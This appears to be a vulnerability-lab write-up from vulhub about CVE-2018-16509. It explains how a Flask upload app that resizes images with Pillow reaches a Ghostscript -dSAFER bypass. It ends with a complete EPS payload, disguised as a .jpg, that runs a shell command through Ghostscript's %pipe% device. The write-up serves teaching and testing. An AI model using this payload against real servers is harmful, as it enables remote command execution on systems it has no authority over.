Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509

Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. /usr/local/bin/gs or /usr/bin/gs) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example).

Exploit

You can upload rce.jpg (a specially-crafted EPS image, not a real JPG) to execute touch /tmp/got_rce in the server. For proof, you can execute docker exec [CONTAINER_ID] ls -alt /tmp. To get CONTAINER_ID, you can check with docker container ls. To change the shell execution to other commands, you can change touch /tmp/got_rce directly in the rce.jpg.

Analysis

You can refer to the explanation of vulnerability by Tavis Ormandy in oss-security.

You can check the source code Ghostscript wrapper of PIL/Pillow in EPSImagePlugin.py.

This is the vulnerable code of app.py:

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files.get('image', None)

        if not file:
            flash('No image found')
            return redirect(request.url)

        filename = file.filename
        ext = path.splitext(filename)[1]

        if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
            flash('Invalid extension')
            return redirect(request.url)

        tmp = tempfile.mktemp("test")
        img_path = "{}.{}".format(tmp, ext)

        file.save(img_path)

        img = Image.open(img_path)
        w, h = img.size
        ratio = 256.0 / max(w, h)

        resized_img = img.resize((int(w * ratio), int(h * ratio)))
        resized_img.save(img_path)

Content of uploaded file will be loaded by img = Image.open(img_path). PIL will automatically detect if the image is an EPS image (example: add %!PS-Adobe-3.0 EPSF-3.0 at the beginning of file) and will call _open() in EpsImageFile class in EPSImagePlugin.py. To avoid raise IOError("cannot determine EPS bounding box"), a bounding box need to be added in the file (example: %%BoundingBox: -0 -0 100 100).

The body of EPS image will be processed by Ghostscript binary with subprocess as we can see in EPSImagePlugin.py in Ghostscript function.

    # Build Ghostscript command
    command = ["gs",
               "-q",                         # quiet mode
               "-g%dx%d" % size,             # set output geometry (pixels)
               "-r%fx%f" % res,              # set input DPI (dots per inch)
               "-dBATCH",                    # exit after processing
               "-dNOPAUSE",                  # don't pause between pages
               "-dSAFER",                    # safe mode
               "-sDEVICE=ppmraw",            # ppm driver
               "-sOutputFile=%s" % outfile,  # output file
               "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                             # adjust for image origin
               "-f", infile,                 # input file
               "-c", "showpage",             # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
               ]

    ....

    try:
        with open(os.devnull, 'w+b') as devnull:
            startupinfo = None
            if sys.platform.startswith('win'):
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            subprocess.check_call(command, stdin=devnull, stdout=devnull,
                                  startupinfo=startupinfo)

The code above is called when load is called in Image.py so only open the image will not trigger the vulnerability. Function like resize, crop, rotate, and save will call load and trigger the vulnerability.

Combined with POC from Tavis Ormandy, we can craft rce.jpg for remote shell command execution.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops

Copied From: vulhub/python/PIL-CVE-2018-16509